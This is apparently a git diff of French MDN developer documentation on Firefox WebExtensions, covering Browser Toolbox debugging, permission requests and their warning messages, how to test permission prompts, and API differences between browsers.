{{EmbedYouTube("fZ492zAAy3o")}}

+ +

Dans Firefox, une "Toolbox" est le nom d'une fenêtre séparée contenant un ensemble d'outils dans une interface à onglets, comme ceci :

+ +

La boîte à outils ci-dessus contient cinq outils, que vous pouvez commuter entre les onglets en haut de la fenêtre : "Inspecteur", "Console", "Debugger", "Style Editor" et "Scratchpad". Nous n'utiliserons que deux de ces outils : "Console" et "Debugger".

+ +

Affichage de la sortie du journal

+ +

Nous pouvons utiliser la console pour voir la sortie des journaux : Cela inclus les messages de :

+ +
    +
  • scripts d'arrière plan
    • +
  • scripts s'exécutant dans des popups
    • +
  • les scripts de contenu.
    • +
+ +

Il inclut les messages de vos journaux de code à l'aide de l'API de console que les messages d'erreur enregistrés par le moteur JavaScript lors de l'exécution de votre code.

+ +

Essayons avec l'exemple ci-dessus : sélectionnez l'onglet Console dans la boîte à outils du navigateur, ouvrez une page Web et cliquez sur un lien pour voir les messages enregistrés à partir du script de contenu et du script d'arrière-plan :

+ +

{{EmbedYouTube("Qpx0n8gP3Qw")}}

+ +

Un problème ici est que la console vous montre les messages de l'ensemble du navigateur, donc il peut y avoir beaucoup de bruit. Lisez  comment filtrer les messages de journal pour obtenir de l'aide à ce sujet.

+ +

Débogage JavaScript

+ +

Avec la Toolbox du navigateur, vous pouvez utiliser le débogueur JavaScript pour définir des points d'arrêt dans les scripts d'arrière-plan et les scripts s'exécutant dans le navigateur ou les fenêtres contextuelles d'action de page.

+ +

Les scripts en arrière-plan sont toujours disponibles dans le débogueur si l'extension est installée et activée. Les scripts popup ne deviennent visibles que lorsque le popup est ouvert. Si vous avez besoin d'accéder aux scripts popup dès qu'ils se chargent, essayez d'ajouter un debogueur ; instruction au début du script.

+ +

Pour utiliser le débogueur JavaScript, sélectionnez l'onglet Débogueur dans la boîte à outils du navigateur. Le travail suivant est donc de trouver le code de votre extension  : pour ce faire cliquez dans la boite de recherche et tapez le nom de la source.

+ +

Une fois que vous avez trouvé votre source, vous pouvez définir des points d'arrêt, passer en revue le code et  faire tout ce que vous vous attendez à pouvoir faire dans un débogueur.

+ +

{{EmbedYouTube("3edeJiG38ZA")}}

+ +

Interpréteur en ligne de commande JavaScript

+ +

La console comprend un interpréteur de ligne de commande que vous pouvez utiliser pour interroger et manipuler l'état d'un programme en cours d'exécution. Cette fonctionnalité est couramment utilisée lorsque la console est attachée à une page Web, mais elle est généralement difficile à utiliser avec la Toolbox du navigateur, parce que la portée de cette console est le navigateur entier plutôt que l'extension spécifique que vous essayez de déboguer.

+ +

Cependant, il y a un truc qui peut vous aider : pendant que le débogueur soit mis en pause à un point d'arrêt, la portée de la Console est la portée au point du programme dans lequel le débogueur est mis en pause. Ainsi, si vous avez atteint un point d'arrêt dans le code de votre extension, vous pouvez interagir directement avec votre extension : vous pouvez appeler des fonctions d'extension, réassigner des valeurs de variables, etc.

+ +

Cette fonction est particulièrement utile en combinaison avec une autre fonction : la console split. Cela vous permet de diviser la boîte à outils en deux : une moitié contient la console et l'autre moitié contient un outil différent (dans ce cas, le débogueur JavaScript) :

+ +

{{EmbedYouTube("xprf58qOtLY")}}

+ +

Débogage des scripts de contenus

+ +

Une grande limitation de la Browser Toolbox est la suivante : si vous développez avec firefox multiprocessus, vous ne pouvez pas utiliser la Toolbox du navigateur pour attacher le débogueur JavaScript aux scripts de contenu.

+ +

Dans Firefox multiprocessus, le navigateur est divisé en (au moins) deux processus : un pour exécuter l'interface utilisateur et le code système du navigateur, et un (ou plusieurs) processus de contenu, qui exécutent des scripts chargés à partir de pages Web. La ToolBox du navigateur s'attache au premier de ces processus : mais les scripts de contenu s'exécutent dans les processus de contenu, de sorte qu'ils n'apparaissent pas dans la liste des sources de la ToolBox du navigateur.

+ +

Pour déboguer les scripts de contenu dans Firefox multiprocessus, vous devrez utiliser le contenu de la boite à outils du navigateur. Le contenu de la boite à outils du navigateur est tout comme la Toolbox de navigateur, sauf qu'elle attache les outils de développement au processus de contenu du navigateur, de sorte que les scripts de contenu sont visibles..

+ +

Notez que les scripts de contenu n'apparaîtront pas dans la liste des sources jusqu'à ce qu'ils soient chargés. Si vous avez besoin d'y accéder dès qu'ils se chargent, essayez d'ajouter un debuggueur ; instruction au début de votre script.

+ +
+

Note : vous n'avez besoin et ne pouvez accéder à la Browser Content Toolbox que si vous développez contre Firefox multiprocessus.

+
+ +
+

L'activation du débogage des travailleurs dans les Options de la boîte à outils désactivera le débogage de la boîte à outils du contenu du navigateur, le Bug 1236892 devrait régler ce problème..

+
+ +

{{EmbedYouTube("xAt3Q0PgJP4")}}

+ +

Débogage des fenêtres contextuelles

+ +
Nouveau dans Firefox 47
+ +

A partir de Firefox 47, vous pouvez utiliser la Browser Toolbox pour déboguer le contenu des popups. Il s'agit d'un processus en trois étapes :

+ +
    +
  • désactiver l'autohide pour les panneaux
    • +
  • ouvrir la fenêtre contextuelle
    • +
  • sélectionner le document contenant le popup
    • +
+ +

{{EmbedYouTube("EEU4NeAS1s4")}}

+ +

Désactiver l'autohide

+ +

Le problème avec les panneaux de débogage en général est qu'ils sont cachés lorsque vous cliquez en dehors d'eux. La première étape consiste donc à désactiver ce comportement. Dans la boîte à outils du navigateur, cliquez sur l'icône qui ressemble à quatre petits carrés :

+ +

Maintenant, lorsque vous ouvrez un panneau dans Firefox, il restera ouvert jusqu'à ce que vous appuyiez sur Escape.

+ +
+

Notez que ce changement s'applique aux fenêtre contextuelles intégrés au navigateur, cpùùe le menu Hamburger (), ainsi qu'aux fenêtres contextuelles d'extension.

+ +

Notez également que le changement est persistant, même si le navigateur redémarre. Nous travaillons à résoudre ce problème dans le bug 1251658, mais d'ici là, vous préférerez peut-être réactiver la fonction Autohide en cliquant à nouveau sur le bouton avant de fermer la boîte à outils du navigateur.

+ +

En interne, ce bouton bascule juste la préférence  ui.popup.disable_autohide que vous pouvez basculer manuellement en utilisant using about:config.

+
+ +

Ouvrir la fenêtre contextuelle

+ +

Ensuite, ouvrez le popup. Vous pouvez ensuite revenir à la boîte à outils du navigateur, et le panneau restera ouvert.

+ +

Sélectionner le cadre de la fenêtre popup

+ +

Le popup est chargé dans son propre cadre. Ensuite, sélectionnez le document de votre popup à l'aide du bouton sélection de cadre boîte à outils du navigateur :Le document s'appellera quelque chose comme

+ +
moz-extension://<some-uuid>/path/to/your-popup.html
+ +

{{EmbedYouTube("/9jdHDCKIN-U")}}

+ +

Maintenant, le champ d'application de la boîte à outils est le popup. Dans l'Inspecteur, vous pouvez examiner et modifier le HTML et le CSS du popup. Dans le Debugger, vous pouvez rechercher tous les scripts chargés dans le popup et définir des points d'arrêt.

+ +

Qu'en est-il de l'Add-on Deboguer ?

+ +

Le deboguer des modules complémentaires est destiné à être l'évanir du débogage des add-on dans Firefox.

+ +

Son grand avantage par rapport à la Browser Toolbox est qu'il ne montre que les fichiers de votre extension, donc il est beaucoup plus facile de trouver votre code. Cependant, pour le moment, vous ne pouvez pas voir les messages de console de votre extension dans l'Add-on Debugger, donc la Browser Toolbox est plus fonctionnelle.

diff --git a/files/fr/mozilla/add-ons/webextensions/demander_les_bonnes_permissions/index.html b/files/fr/mozilla/add-ons/webextensions/demander_les_bonnes_permissions/index.html deleted file mode 100644 index e0c9a4ef04..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/demander_les_bonnes_permissions/index.html +++ /dev/null @@ -1,367 +0,0 @@ ---- -title: Demander les bonnes permissions -slug: Mozilla/Add-ons/WebExtensions/demander_les_bonnes_permissions -tags: - - Add-ons - - Comment - - Débutant - - Extensions - - Hox-to - - Intermédiaire - - Permissions - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Request_the_right_permissions ---- -

{{AddonSidebar}}

- -

Ou comment éviter les permissions décourageant les utilisateurs d'installer vos extensions.

- -

Introduction

- -

Avec l'introduction de Firefox Quantum (57), la gestion des permissions lors de l'installation d'une extension a changé. Auparavant, les permissions étaient accordées silencieusement aux extensions. Cependant, les utilisateurs sont maintenant informés des permissions demandées par une extension lors de son installation, avec un message comme celui-ci:

- -

Example of the permissions messages from the Gesturefy extension

- -

En outre, si une mise à jour d'extension nécessite des permissions supplémentaires, l'utilisateur est invité à approuver les permissions avant l'installation de la version mise à jour :

- -

Example of the message displayed when an extension update requests additional permissions

- -

Si l'utilisateur choisit de ne pas approuver les permissions et annule la mise à jour, la version précédente reste installée et disponible.

- -

L'affichage des messages de permission améliore le modèle de sécurité de l'extension en sensibilisant les utilisateurs à l'impact potentiel de l'installation d'une extension. Il met également Firefox en ligne avec les autres principaux navigateurs, où les utilisateurs ont été informés des demandes de permission des extensions pour un certain temps.

- -

Étant donné que les utilisateurs de Firefox n'ont pas vu les demandes de permissions au cours de l'installation auparavant, cette modification pourrait décourager certains d'entre eux d'installer votre extension, car les messages pourraient suggérer qu'elle fait quelque chose d'effrayant. Nous fournissons aux utilisateurs avec une explication de ces messages de permissions et des conseils sur comment juger s'ils sont appropriés. Cependant, il y a plusieurs choses que vous pouvez faire pour réduire la probabilité que les utilisateurs abandonnent l'installation de votre extension à cause de ces messages :

- -
    -
  • Assurez-vous que vous ne demandez pas de permissions inutiles.
    • -
  • Demander des permissions à l'exécution, ce qui vous permet de demander les permissionss en contexte et de proposer une option de repli si l'utilisateur ne les accorde pas.
    • -
  • Décrivez pourquoi votre extension demande ses permissions dans sa description AMO.
    • -
- -

Conseil: Les avertissements d'autorisation ne sont pas émis lorsque vous chargez une extension décompressée. Pour plus d'informations sur l'affichage du flux d'autorisations d'exécution standard, voir Test de demandes de permission.

- -

Permissions conseillées

- -

Toutes les permissions ne donnent pas de conseils à l'utilisateur. Les permissions qui déclenchent l'affichage d'un message et les messages qu'ils déclenchent sont :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PermissionPermissions messages
-

Host permissions

- 		-

Accédez à vos données pour tous les sites Web
- Accédez à vos données pour les sites du domaine[named].
- Accédez à vos données dans # d'autres domaines
- Accédez à vos données pour[site nommé].
- Accédez à vos données sur # autres sites".

-
API permissions:
-
    -
  • bookmarks
    • -
- 		Lire et modifier les marques pages
-
    -
  • browserSettings
    • -
- 		Lire et modifier les paramètres du navigateur
-
    -
  • browsingData
    • -
- 		Effacer l'historique de navigation récent, les cookies et les données associées.
-
    -
  • downloads
    • -
- 		Télécharger des fichiers et lire et modifier l'historique des téléchargements du navigateur.
-
    -
  • downloads.open
    • -
- 		Ouvrir les fichiers téléchargés sur votre ordinateur
-
    -
  • find
    • -
- 		Lire le texte de tous les onglets ouverts
-
    -
  • geolocation
    • -
- 		Accédez à votre localisation
-
    -
  • history
    • -
- 		Historique de navigation
-
    -
  • management
    • -
- 		Surveiller l'utilisation des extensions et gérer les thèmes
-
    -
  • nativeMessaging
    • -
- 		Échanger des messages avec des programmes autres que Firefox
-
    -
  • notifications
    • -
- 		Afficher les notifications qui vous sont destinées
-
    -
  • pkcs11
    • -
- 		Fournir des services d'authentification cryptographique
-
    -
  • privacy
    • -
- 		Lire et modifier les paramètres de confidentialité
-
    -
  • proxy
    • -
- 		Contrôler les paramètres de proxy du navigateur
-
    -
  • sessions
    • -
- 		Accéder aux onglets récemment fermés
-
    -
  • tabs
    • -
- 		Onglets du navigateur d'accès
-
    -
  • topSites
    • -
- 		Historique de navigation
-
    -
  • webNavigation
    • -
- 		Accéder à l'activité du navigateur pendant la navigation
Clipboard access
-
    -
  • clipboardWrite
    • -
- 		Saisie des données dans le presse-papiers
-
    -
  • clipboardRead
    • -
- 		Obtenir les données du presse-papiers
unlimitedStorageStocker un nombre illimité de données côté client
The manifest key "devtools_page"Étendre les outils de développement pour accéder à vos données dans des onglets ouverts.
- -
- - -

Les permissions qui affichent les messages et les messages qu'ils affichent peuvent être différentes dans d'autres navigateurs. Pour plus d'informations sur l'affichage du message d'autorisation dans Chrome, voir Affichage des avertissements.

- - -
- -

Les permissions suivantes ne sont pas alertées aux utilisateurs :

- -
    -
  • API permissions -
      -
    • alarms
      • -
    • contextMenus
      • -
    • contextualIdentities
      • -
    • cookies
      • -
    • identity
      • -
    • idle
      • -
    • menus
      • -
    • storage
      • -
    • theme
      • -
    • webRequest
      • -
    • webRequestBlocking
      • -
    -
    • -
  • activeTab
    • -
- -

Évitez les permissions inutiles

- -

Cette section examine les situations dans lesquelles vous pourriez demander plus de permissions que vos besoins d'extension et ce que vous devez faire à leur sujet.

- -

Ne demandez que les permissions que votre extension utilise

- -

Cela peut sembler évident, mais si vous créez une extension en utilisant un exemple précédent en tant que modèle ou si vous supprimez une fonctionnalité au cours du développement ou du test, vous demandez peut-être des permissions dont votre extension n'a pas besoin. En adressant ceci est un cas de faire une vérification manuelle de votre code contre les permissions ("permissions" et "optional_permissions") que vous demandez dans le manifest.json de l'extension.

- -

Utilisez "activeTab" plutôt que "tabs" et permissions d'hôte

- -

Prenez une extension que vous développez pour aider les utilisateurs mal-voyants. À la demande de l'utilisateur, vous allez rechercher et mettre à jour CSS dans une page Web pour remplacer les couleurs que l'utilisateur peut avoir du mal à distinguer avec des couleurs sûres. Vous avez évidemment besoin d'accéder et de mettre à jour CSS sur chaque page que votre utilisateur visite. Vous pouvez le faire en demandant la permission "tabs" et la permission d'hôte "<all_urls>".

- -
"permissions": [
-  "<all_urls>",
-  "tabs"
-]
- -

Demander ces permissions, permet à l'utilisateur d'obtenir ce conseil :

- -

Example of the "Access your data for all websites" permission message

- -

L'alternative est de demander "activeTab". Cette permission fournit à votre extension les mêmes fonctionnalités mais uniquement pour l'onglet actif et uniquement lorsqu'elle est exécutée à partir de l'interface utilisateur de l'extension (depuis un bouton de barre d'outils, un bouton de barre de navigation, un menu contextuel ou une touche de raccourci).

- -

Fait important, "activeTab" n'entraîne pas l'affichage d'un message de permission lors de l'installation de l'extension.

- -

Evitez la permission d'hôte "<all_urls>" si vous pouvez

- -

Comme indiqué dans l'exemple précédent, demander la permission d'hôte "<all_urls>" entraîne le message de demande d'accès Access à vos données pour tous les sites Webs. Si votre extension est conçue pour fonctionner avec un ou plusieurs sites Web ou domaines, affinez la requête. Lors de l'installation, les utilisateurs recevront des informations sur les quatre premiers sites Web ou les domaines auxquels vous demandez l'accès.

- -

Example of the permissions message when host permission for four websites as requested

- -

Si vous demandez l'accès à plus de quatre sites Web ou domaines, le message liste les trois premiers et indique le nombre d'autres demandes.

- -

Example of the permissions message when hosts permission for 5 or more website is requested

- -

Evitez la permission "unlimitedStorage"

- -

Ne demandez la permission "unlimitedStorage" que si vous estimez que le stockage de données local de votre extension dépasse 5MB s'il ne dépasse pas ce montant, ne le demandez pas.

- -

Example of the permission message when requesting access to unlimited client-side data storage

- -

Remarque: Firefox ne limite pas actuellement la taille du stockage local, bien qu'il demande aux utilisateurs d'approuver cette demande de permission si vous le faites. Firefox peut ajouter une restriction à l'avenir. Si cela se produit, il est peu probable que la limite soit inférieure à la restriction actuelle de 5 Mo de Chrome.

- -

Demander les permissions à éxécuter

- -

Les utilisateurs peuvent ne pas comprendre le contexte des permissions demandées lors de l'installation. L'approche alternative consiste à demander les permissions au besoin, à l'aide de l'API permissions, et à fournir ainsi un contexte à l'utilisateur.

- -

Un scénario typique pour utiliser cette approche est la permission "geoLocation". Supposons que vous avez écrit une extension de prise de notes qui inclut la possibilité d'ajouter une mini-carte de l'emplacement des preneurs de notes. Demander l'accès à l'emplacement pendant l'installation peut laisser l'utilisateur incertain de la raison pour laquelle l'extension doit accéder à l'emplacement, de sorte qu'ils ne l'installeront peut-être pas. Toutefois, si la permission d'utiliser l'emplacement est demandée lorsque l'utilisateur tente d'abord d'ajouter une minicarte, il comprend mieux pourquoi la permission est nécessaire et a plus de chances de l'accorder. Et s'ils choisissent de ne pas accorder la permission, l'extension peut offrir un retour en arrière gracieux — dans cet exemple, sans ajouter la minicarte — mais le résultat important de cette approche est que l'utilisateur a installé et utilisé votre extension.

- -

Example of an additional or runtime permission request message

- -

Faire une demande de permission d'exécution est simple. Incluez les permissions que vous souhaitez demander sous la clé manifest.json "optional_permissions". Passez ensuite les autorisations que vous souhaitez accorder à {{WebExtAPIRef("permissions.request")}}, qui invite l'utilisateur à accorder les permissions. true est renvoyé si l'utilisateur accorde la requête, false si ce n'est pas le cas.

- -

Vous ne pouvez pas demander toutes les permissions disponibles aux "permissions" en utilisant des permissions facultatives. Vous ne pouvez pas demander les permissions d'API suivantes:

- -
    -
  • alarms
    • -
  • background
    • -
  • browsingData
    • -
  • contentSettings
    • -
  • contextualIdentities
    • -
  • debugger
    • -
  • downloads
    • -
  • downloads.open
    • -
  • find
    • -
  • identity
    • -
  • menus
    • -
  • nativeMessaging
    • -
  • pageCapture
    • -
  • pkcs11
    • -
  • privacy
    • -
  • proxy
    • -
  • sessions
    • -
  • storage
    • -
  • theme
    • -
- -

Il y a un certain nombre de choses à noter :

- -
    -
  • Vous pouvez uniquement demander des permissions dans le gestionnaire pour une action utilisateur, par exemple à partir d'un bouton de barre d'outils (action du navigateur), d'un élément de menu contextuel ou similaire.
    • -
  • Si vous demandez plusieurs permissions à la fois, elles sont toutes accordées ou toutes refusées, l'utilisateur ne peut pas choisir d'en accorder certaines et pas d'autres
    • -
- -

Pour plus d'informations sur les permissions facultatives, consultez optional_permissions et l'exemple permissions.

- -

Ajouter des informations sur les permissions à vos extensions page AMO

- -

Les messages de permissions sont plus susceptibles d'empêcher un utilisateur d'installer votre extension, car ils ne comprennent pas pourquoi les permissions sont demandées. Bien que l'utilisateur puisse obtenir des conseils généraux sur l'impact d'une permission, il peut ne pas être suffisant pour lui de comprendre pourquoi une permission est demandée dans votre extension.

- -

Pour résoudre ce problème, fournissez des informations dans la description AMO de votre extension qui explique les permissions demandées par votre extension et pourquoi.

- -

Un bon exemple de cette approche est Gesturefy, qui offre aux utilisateurs les conseils suivants :

- -

Extract from Gesturefy's AMO description providing information on thepermissions requested by this extension

diff --git a/files/fr/mozilla/add-ons/webextensions/demandes_de_permission/index.html b/files/fr/mozilla/add-ons/webextensions/demandes_de_permission/index.html deleted file mode 100644 index 815653592d..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/demandes_de_permission/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Demandes de permission -slug: Mozilla/Add-ons/WebExtensions/demandes_de_permission -tags: - - Add-ons - - Extensions - - Guide - - Permissions - - Testing - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Test_permission_requests ---- -

{{AddonSidebar}}

- -

Votre extension peut contenir deux types de demandes de permission : les demandes de temps d'installation et les demandes de permission d'exécution. Cette page explique comment vous pouvez tester la façon dont vos utilisateurs verront les demandes de ces permissions.

- -

Comportement de l'octroi de la permission pendant le test

- -

Lorsque vous testez avec une extension non compressée utilisant about:debugging ou web-ext et les permissions d'installation et d'exécution sont traitées comme suit :

- -
    -
  • Les demandes de permission de temps d'installation sont accordées en silence. Vous ne voyez pas les avertissements de permission que les utilisateurs verraient.
    • -
  • Les demandes d'autorisation d'exécution affichent la demande d'accrochecomme d'habitude. Ces permissions restent en place jusqu'à ce qu'elles soient révoquées programmatiquement par l'extension, l'extension est supprimée en utilisant about:debugging ou redémarrer Firefox.
    • -
- -

Observeer ou vérifier des demandes de permissions lors de l'installation

- -

Vous suivez différents processus selon que vous souhaitez observer les demandes de permissions associées à une installation ou à une mise à niveau.

- -

Demandes de permission pour l'installation d'extensions

- -

Pour afficher les avertissements de permission de temps d'installation que les utilisateurs voient lors de l'installation de votre extension et retester les demandes d'autorisation d'exécution, installez l'extension depuis son fichier *.xpi ou *.zip.

- -

Pour ce faire, vous devez utiliser un fichier *.xpi ou *.zip non signé :

- -
    -
  • donnez un identifiant à votre extension à l'aide de la clé d'applications application.
    • -
  • exécuter les versions Nightly ou Developer Edition de Firefox.
    • -
  • Définissez la préférence about:config xpinstall.signatures.required à  false.
    • -
- -

Installez ensuite l'extension à l'aide de l'option Installer Add-on à partir du fichier dans le gestionnaire de modules complémentaires (about:addons). Au fur et à mesure que l'extension s'installe, la demande d'octroi des permissions s'affiche lors de l'installation, comme ceci :

- -

Example of the doorhanger displayed when installing an extension through about:addons

- -

Notez que le message d'avertissement concerne une extension non signée ; ce message ne s'affiche pas pendant l'installation depuis addons.mozilla.org.

- -

Demande de permission  pour la mise à niveau de l'extension

- -
-

Pour plus de détails sur la façon de fournir des mises à jour d'extension Web lorsque vous hébergez vous-même votre extension, voir Mises à jour.

-
- -

Pour afficher les avertissements d'autorisation de temps d'installation que les utilisateurs voient lorsque votre extension est mise à niveau par Firefox et retester les demandes d'autorisation d'exécution, vous installez l'extension depuis son fichier.xpi posté sur un serveur HTTP ou HTTPS.

- -

Vous pouvez utiliser un serveur HTTP (tel qu'un simple serveur localhost python) ou un serveur HTTPS. Cependant, votre serveur HTTPS doit avoir un certificat vérifiable, que Firefox peut accepter automatiquement ; vous ne pouvez pas utiliser un certificat auto-signé. Si vous voulez tester à partir d'un serveur HTTPS mais n'en avez pas, les pages GitHub sont une option que vous pouvez utiliser.

- -

Pour effectuer le test, vous devrez :

- -
    -
  • déterminer l'adresse du serveur HTTP ou HTTPS où vous pouvez héberger les fichiers.
    • -
  • utilisez  la clé des applications manifest.json pour : - -
    • -
  • si nécessaire, créez un paquet contenant votre extension originale.
    • -
  • mettre à jour votre extension et ajouter les détails des nouvelles permissions requises au fichier manifest.json, sans oublier de mettre à jour le numéro de version. Créez un paquet contenant votre extension mise à jour. -
    Si les paquets ont été générés avec des extensions.zip, changez-les en.xpi, sinon votre navigateur pourrait essayer de télécharger plutôt que d'installer l'extension.
    -
    • -
- -
    -
  • Créer la mise à jour du manifest avec les détails des deux versions d'extension, qui devrait être similaire à celui-ci : - - 
    {
-  "addons": {
-    "test@your-address.com": {
-      "updates": [
-        { "version": "n.0", "update_link": "https://your-account.github.io/webextensions/your-extension-1.0.xpi" },
-        { "version": "n+1.0", "update_link": "https://your-account.github.io/webextensions/your-extension-2.0.xpi" }
-      ]
-    }
-  }
-}
    -
    • -
  • télécharger les deux paquets d'extension et les mises à jour manifestes sur votre serveur HTTP ou HTTPS.
    • -
  • exécuter les versions Nightly ou Developer Edition de Firefox.
    • -
  • dans about:config : -
      -
    • Définissez la préférence xpinstall.signatures.required à false.
      • -
    • Si vous utilisez Nightly et hébergez votre mise à jour sur un serveur HTTP, créez et définissez les préférences extensions.checkUpdateSecurity et  extensions.install.requireSecureOrigin à false. Pour faire ceci : -
        -
      • entrez le nom de la préférence dans la zone de recherche.
        • -
      • cliquez sur Ajouter.
        - Create a new about:config item in Nightly
        • -
      • basculez la préférence pour la mettre à false.
        - Toggle the boolean value of a about:config item in Nightly
        • -
      -
      • -
    -
    • -
  • ouvrez le lien vers le premier fichier XPI pour l'installer.
    • -
  • Ouvrez about:addons, cliquez sur l'icône cranter et cliquez sur Check for Updates.
    • -
  • vous obtiendrez un message d'avertissement de permission, similaire à celui ci-dessous, détaillant les permissions supplémentaires demandées :
    - Example of the doorhanger displayed when testing permission requests for an extension upgrade
    • -
- -
-

Si la mise à niveau n'a pas lieu, recherchez dans les logs addons.update-checker de la console du navigateur. Toute erreur rencontrée au cours du processus de mise à niveau sera signalée dans le journal de logs.

-
- -

Re-tester les permissions d'éxécution octroyées

- -

Pour tester à nouveau les permissions d'exécution de votre extension et son comportement post-installation, vous avez deux choix :

- - - -

Vous pouvez ensuite réexécuter l'extension et toutes les demandes de permissions d'exécution seront affichées comme si l'extension était exécutée pour la première fois.

diff --git a/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.html b/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.html new file mode 100644 index 0000000000..60656f891e --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/differences_between_api_implementations/index.html @@ -0,0 +1,77 @@ +--- +title: Différences entre les implémentations d'API +slug: Mozilla/Add-ons/WebExtensions/Differences_entre_les_implementations_api +tags: + - Guide + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Differences_between_API_implementations +--- +
{{AddonSidebar}}
+ +

L'API d'extension de navigateur est encore un standard emergent. Par conséquent, bien qu'il soit pris en charge par la plupart des principaux navigateurs, dont Firefox, Chrome, Edge et Opera, il existe des différences entre les différentes implémentations. Cela signifie que certaines modifications peuvent être nécessaires pour implémenter votre extension pour plusieurs navigateurs

+ +

Parmi les différents navigateurs supportant l'API d'extension, Firefox est le plus conforme à la norme émergente, et est donc votre meilleur point de départ pour développer des extensions de navigateur.

+ +

Les différences entre les implémentations d'API d'extensions de navigateurs se répartissent en quatre domaines : l'espace de noms, la gestion asynchrone des événements, la couverture API et les clés de manifest.

+ +

Espace de nommage

+ +

Vous faites référence à toutes les fonctions de l'API des extensions en utilisant un espace de noms, par exemple, browser.alarms.create({delayInMinutes}); créerait une alarme dans Firefox qui se déclenche après le temps spécifié dans delayInMinutes.

+ +

Deux espaces de noms API sont utilisés :

+ +
    +
  • +

    chrome utilisé dans Chrome et Opera.

    +
    • +
  • +

    browser utilisé dans Firefox et Edge.

    +
    • +
+ +

Traitement asynchrone des événements

+ +

JavaScript fournit plusieurs façons de gérer les événements asynchrones. La norme API d'extensions proposée est d'utiliser des promises. L'approche des promises offre des avantages significatifs lorsqu'il s'agit d'appels d'événements asynchrones en chaîne

+ +

Si vous n'êtes pas familier avec la façon dont JavaScript peut gérer les événements asynchrones ou les promesses, jetez un coup d'oeil sur Apprendre à connaître Javascript Asynchrone : Callbacks, Promises et Async/Await ou la page des promises d'utilisation de MDN.

+ +

Firefox est le seul navigateur majeur à avoir implémenté des promises pour les extensions API. Tous les autres navigateurs utilisent des callbacks.

+ +

Couverture API

+ +

Les différences dans l'implémentation des fonctions de l'API d'extension entre les navigateurs se répartissent en trois grandes catégories :

+ +
    +
  • +

    Manque de soutien pour l'ensemble d'une fonction. Par exemple, au moment d'écrire ces lignes, Edge ne prend pas en charge la fonction de vide privée.

    +
    • +
  • +

    Variations dans la prise en charge des fonctions au sein d'une fonction. Par exemple, au moment d'écrire ces lignes, Firefox ne supporte pas la fonction de notification  onButtonClicked alors que Firefox est le seul navigateur qui supporte onShown.

    +
    • +
  • +

    Fonctions propriétaires, supportant des fonctions spécifiques au navigateur. Par exemple, au moment d'écrire ces lignes, containers est une fonctionnalité spécifique à Firefox supportée par la fonction contextualIdentities.

    +
    • +
+ +

Touches Manifest

+ +

Les différences entre les clés clés manifest.json prises en charge par les navigateurs se répartissent en deux grandes catégories :

+ +
    +
  • +

    Attributs d'information sur les extensions. Par exemple, au moment d'écrire ces lignes, Firefox et Opera incluent la clé de développent permettant d'ajouter des détails sur le développeur de l'extension, ainsi que sur l'auteur, à enregistrer.

    +
    • +
  • +

    Fonctions d'extension. Par exemple, au moment d'écrire ces lignes, Edge ne prenait pas en charge les clés de commande qui permettent de définir des raccourcis clavier pour une extension.

    +
    • +
+ +

Plus d'information

+ +

Vous trouverez des informations plus détaillées sur les différences entre les extensions de navigateur prises en charge par les fonctionnalités API dans le domaine :

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/differences_entre_les_implementations_api/index.html b/files/fr/mozilla/add-ons/webextensions/differences_entre_les_implementations_api/index.html deleted file mode 100644 index 60656f891e..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/differences_entre_les_implementations_api/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Différences entre les implémentations d'API -slug: Mozilla/Add-ons/WebExtensions/Differences_entre_les_implementations_api -tags: - - Guide - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Differences_between_API_implementations ---- -
{{AddonSidebar}}
- -

L'API d'extension de navigateur est encore un standard emergent. Par conséquent, bien qu'il soit pris en charge par la plupart des principaux navigateurs, dont Firefox, Chrome, Edge et Opera, il existe des différences entre les différentes implémentations. Cela signifie que certaines modifications peuvent être nécessaires pour implémenter votre extension pour plusieurs navigateurs

- -

Parmi les différents navigateurs supportant l'API d'extension, Firefox est le plus conforme à la norme émergente, et est donc votre meilleur point de départ pour développer des extensions de navigateur.

- -

Les différences entre les implémentations d'API d'extensions de navigateurs se répartissent en quatre domaines : l'espace de noms, la gestion asynchrone des événements, la couverture API et les clés de manifest.

- -

Espace de nommage

- -

Vous faites référence à toutes les fonctions de l'API des extensions en utilisant un espace de noms, par exemple, browser.alarms.create({delayInMinutes}); créerait une alarme dans Firefox qui se déclenche après le temps spécifié dans delayInMinutes.

- -

Deux espaces de noms API sont utilisés :

- -
    -
  • -

    chrome utilisé dans Chrome et Opera.

    -
    • -
  • -

    browser utilisé dans Firefox et Edge.

    -
    • -
- -

Traitement asynchrone des événements

- -

JavaScript fournit plusieurs façons de gérer les événements asynchrones. La norme API d'extensions proposée est d'utiliser des promises. L'approche des promises offre des avantages significatifs lorsqu'il s'agit d'appels d'événements asynchrones en chaîne

- -

Si vous n'êtes pas familier avec la façon dont JavaScript peut gérer les événements asynchrones ou les promesses, jetez un coup d'oeil sur Apprendre à connaître Javascript Asynchrone : Callbacks, Promises et Async/Await ou la page des promises d'utilisation de MDN.

- -

Firefox est le seul navigateur majeur à avoir implémenté des promises pour les extensions API. Tous les autres navigateurs utilisent des callbacks.

- -

Couverture API

- -

Les différences dans l'implémentation des fonctions de l'API d'extension entre les navigateurs se répartissent en trois grandes catégories :

- -
    -
  • -

    Manque de soutien pour l'ensemble d'une fonction. Par exemple, au moment d'écrire ces lignes, Edge ne prend pas en charge la fonction de vide privée.

    -
    • -
  • -

    Variations dans la prise en charge des fonctions au sein d'une fonction. Par exemple, au moment d'écrire ces lignes, Firefox ne supporte pas la fonction de notification  onButtonClicked alors que Firefox est le seul navigateur qui supporte onShown.

    -
    • -
  • -

